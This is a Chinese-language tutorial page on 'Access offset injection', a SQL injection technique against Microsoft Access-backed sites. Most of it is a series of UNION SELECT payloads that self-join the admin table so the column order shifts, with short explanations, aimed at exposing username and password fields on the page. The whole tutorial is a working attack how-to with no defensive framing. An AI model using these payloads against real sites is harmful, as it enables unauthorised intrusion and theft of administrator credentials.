程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 數據庫知識 >> Access數據庫 >> 關於Access數據庫 >> access偏移注入

access偏移注入

編輯:關於Access數據庫
我舉動力文章的例子
    他是28個字段
    加入admin表5個字段
    那麼union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from admin
    union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,* from admin
    *  就是5個字段?
    這樣來爆admin裡邊的所有表明
    但注意 * 確是代表了所有admin表的字段
    如果正好比如username在可顯示位置
    他就會顯示在頁面上
    我需要爆他的字段呢·
    技術都有局限性 這個方法需要知道表名和一個字段名id
    不需要其他字段
    比如什麼passWord username
    你要問他如果不在可顯示位置麼
    通常不知道的是表名  表段名 可以通過查找後台登陸找到
    這個就要看自己的了
    大家看看這個語句 
    union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from (admin as a inner join admin as b on a.id=b.id)
    這個(admin as a inner join admin as b on a.id=b.id)是admin表自連接
    這樣from 後面的表就會成為字段數加倍的表

    前面18+2*5 = 28 個字段 就是合法的

    *代表的字段就會拓寬 加大username passWord在可顯示位置的幾率

    如果不在怎麼辦? 那麼union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,* from (admin as a inner join admin as b on a.id=b.id)

    union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)

    大家是否覺得很疑惑 18+ 2 + 5*2 = 30 > 28 但這條語句是合法的

    這個地方很關鍵

    他為什麼會是合法的語句

    這個地方是技術核心 必須理解

    前邊是 30  後邊是 28 怎麼可能相等

    因為a.id 和 b.id在*裡是有的

    那麼計算機自動去掉重復的 保持集合裡元素的唯一性
                                                                        
    這樣一來雖然查詢效果一樣

    但是*裡的字段排列順序卻被打亂了!
    先後兩次打亂 很有可能讓username passWord偏移到可顯示的位置

    如果還沒成功 怎麼辦? 
    union select 1,2,3,4,5,6,7,8,9,10,11,12,13,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)

    union select 1,2,3,4,5,6,7,8,a.id,b.id,c.id,d.id,* from (((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id) inner join admin as d on a.id=d.id)

 

  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved